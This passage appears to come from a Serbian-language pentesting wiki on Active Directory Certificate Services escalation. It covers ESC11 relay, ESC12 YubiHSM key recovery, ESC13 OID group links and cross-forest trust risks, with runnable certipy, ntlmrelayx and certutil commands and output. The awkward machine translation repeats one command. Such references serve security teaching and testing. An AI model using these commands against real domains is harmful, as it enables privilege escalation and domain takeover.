Da biste se autentifikovali putem Schannel-a, koristi se Certipy-ova opcija -ldap-shell, koja ukazuje na uspeh autentifikacije kao u:CORP\DC$.

certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell

Kroz LDAP shell, komande poput set_rbcd omogućavaju napade zasnovane na ograničenom delegiranju resursa (RBCD), potencijalno kompromitujući kontroler domena.

certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell

Ova ranjivost se takođe odnosi na bilo koji korisnički nalog koji nema userPrincipalName ili gde se ne podudara sa sAMAccountName, pri čemu je podrazumevani Administrator@corp.local glavna meta zbog svojih povišenih LDAP privilegija i odsustva userPrincipalName podrazumevano.

Prosleđivanje NTLM-a ICPR-u - ESC11

Objasnjenje

Ako CA Server nije konfigurisan sa IF_ENFORCEENCRYPTICERTREQUEST, može se izvršiti prosleđivanje NTLM napada bez potpisa putem RPC servisa. Reference in here.

Možete koristiti certipy da prebrojite da li je Enforce Encryption for Requests onemogućen i certipy će prikazati ESC11 ranjivosti.

$ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
Certipy v4.0.0 - by Oliver Lyak (ly4k)

Certificate Authorities
0
CA Name                             : DC01-CA
DNS Name                            : DC01.domain.local
Certificate Subject                 : CN=DC01-CA, DC=domain, DC=local
....
Enforce Encryption for Requests     : Disabled
....
[!] Vulnerabilities
ESC11                             : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue

Zloupotreba scenarija

Potrebno je postaviti relej server:

$ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Targeting rpc://DC01.domain.local (ESC11)
[*] Listening on 0.0.0.0:445
[*] Connecting to ncacn_ip_tcp:DC01.domain.local[135] to determine ICPR stringbinding
[*] Attacking user 'Administrator@DOMAIN'
[*] Template was not defined. Defaulting to Machine/User
[*] Requesting certificate for user 'Administrator' with template 'User'
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 10
[*] Got certificate with UPN 'Administrator@domain.local'
[*] Certificate object SID is 'S-1-5-21-1597581903-3066826612-568686062-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...

Napomena: Za kontrolere domena, moramo navesti -template u DomainController.

Ili koristeći sploutchy-ov fork impacket-a:

$ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support

Pristup školjci ADCS CA sa YubiHSM-om - ESC12

Objasnjenje

Administratori mogu podesiti Sertifikacioni autoritet da ga skladište na spoljnom uređaju poput "Yubico YubiHSM2".

Ako je USB uređaj povezan sa CA serverom putem USB porta, ili USB uređaj server u slučaju da je CA server virtuelna mašina, potreban je autentifikacioni ključ (ponekad nazvan "šifra") za Key Storage Provider kako bi generisao i koristio ključeve u YubiHSM-u.

Ovaj ključ/šifra se čuva u registru pod HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword u obliku čistog teksta.

Reference u ovde.

Scenario zloupotrebe

Ako je privatni ključ CA skladišten na fizičkom USB uređaju kada dobijete pristup školjci, moguće je povratiti ključ.

Prvo, trebate dobiti CA sertifikat (ovaj je javan) a zatim:

# import it to the user store with CA certificate
$ certutil -addstore -user my <CA certificate file>

# Associated with the private key in the YubiHSM2 device
$ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>

Zloupotreba veze grupe OID - ESC13

Objašnjenje

Atribut msPKI-Certificate-Policy omogućava dodavanje politike izdavanja u šablon sertifikata. Objekti msPKI-Enterprise-Oid koji su odgovorni za izdavanje politika mogu se otkriti u Kontekstu imenovanja konfiguracije (CN=OID,CN=Public Key Services,CN=Services) kontejnera PKI OID. Politika može biti povezana sa AD grupom korišćenjem atributa msDS-OIDToGroupLink ovog objekta, omogućavajući sistemu da autorizuje korisnika koji predstavlja sertifikat kao da je član grupe. Reference in here.

Drugim rečima, kada korisnik ima dozvolu da upiše sertifikat i sertifikat je povezan sa grupom OID, korisnik može naslediti privilegije ove grupe.

Koristite Check-ADCSESC13.ps1 da pronađete OIDToGroupLink:

Enumerating OIDs
------------------------
OID 23541150.FCB720D24BC82FBD1A33CB406A14094D links to group: CN=VulnerableGroup,CN=Users,DC=domain,DC=local

OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------
Enumerating certificate templates
------------------------
Certificate template VulnerableTemplate may be used to obtain membership of CN=VulnerableGroup,CN=Users,DC=domain,DC=local

Certificate template Name: VulnerableTemplate
OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------

Zloupotreba scenarija

Pronađite korisničku dozvolu koju može koristiti certipy find ili Certify.exe find /showAllPermissions.

Ako John ima dozvolu da upiše VulnerableTemplate, korisnik može naslediti privilegije grupe VulnerableGroup.

Sve što treba da uradi je da navede šablon, dobiće sertifikat sa pravima OIDToGroupLink.

certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'

Kompromitovanje šuma pomoću sertifikata objašnjeno pasivnim glagolom

Razbijanje poverenja šuma pomoću kompromitovanih CA

Konfiguracija za prekograničnu registraciju je relativno jednostavna. Root CA sertifikat iz resursnog šuma je objavljen u šumovima naloga od strane administratora, a enterprise CA sertifikati iz resursnog šuma su dodati u NTAuthCertificates i AIA kontejnere u svakom šumu naloga. Da pojasnimo, ovaj aranžman daje CA u resursnom šumu potpunu kontrolu nad svim ostalim šumovima za koje upravlja PKI. Ukoliko ovaj CA bude kompromitovan od strane napadača, sertifikati za sve korisnike u oba resursna i šum naloga mogu biti falsifikovani od strane njih, čime se narušava sigurnosna granica šuma.

Privilegije registracije dodeljene stranim principima

U okruženjima sa više šuma, potrebna je opreznost u vezi sa Enterprise CA koje objavljuju šablone sertifikata koji dozvoljavaju Autentifikovanim korisnicima ili stranim principima (korisnici/grupe van šuma kojem Enterprise CA pripada) prava registracije i izmene. Prilikom autentifikacije preko poverenja, SID Autentifikovanih korisnika se dodaje tokenu korisnika od strane AD. Dakle, ako domen poseduje Enterprise CA sa šablonom koji dozvoljava Autentifikovanim korisnicima prava registracije, šablon bi potencijalno mogao biti registrovan od strane korisnika iz drugog šuma. Slično tome, ako prava registracije eksplicitno budu dodeljena stranom principu putem šablona, time se stvara prekogranični odnos kontrole pristupa, omogućavajući principu iz jednog šuma da se registruje u šablonu iz drugog šuma.

Oba scenarija dovode do povećanja površine napada iz jednog šuma u drugi. Postavke šablona sertifikata mogu biti iskorišćene od strane napadača kako bi se dobile dodatne privilegije u stranom domenu.

Last updated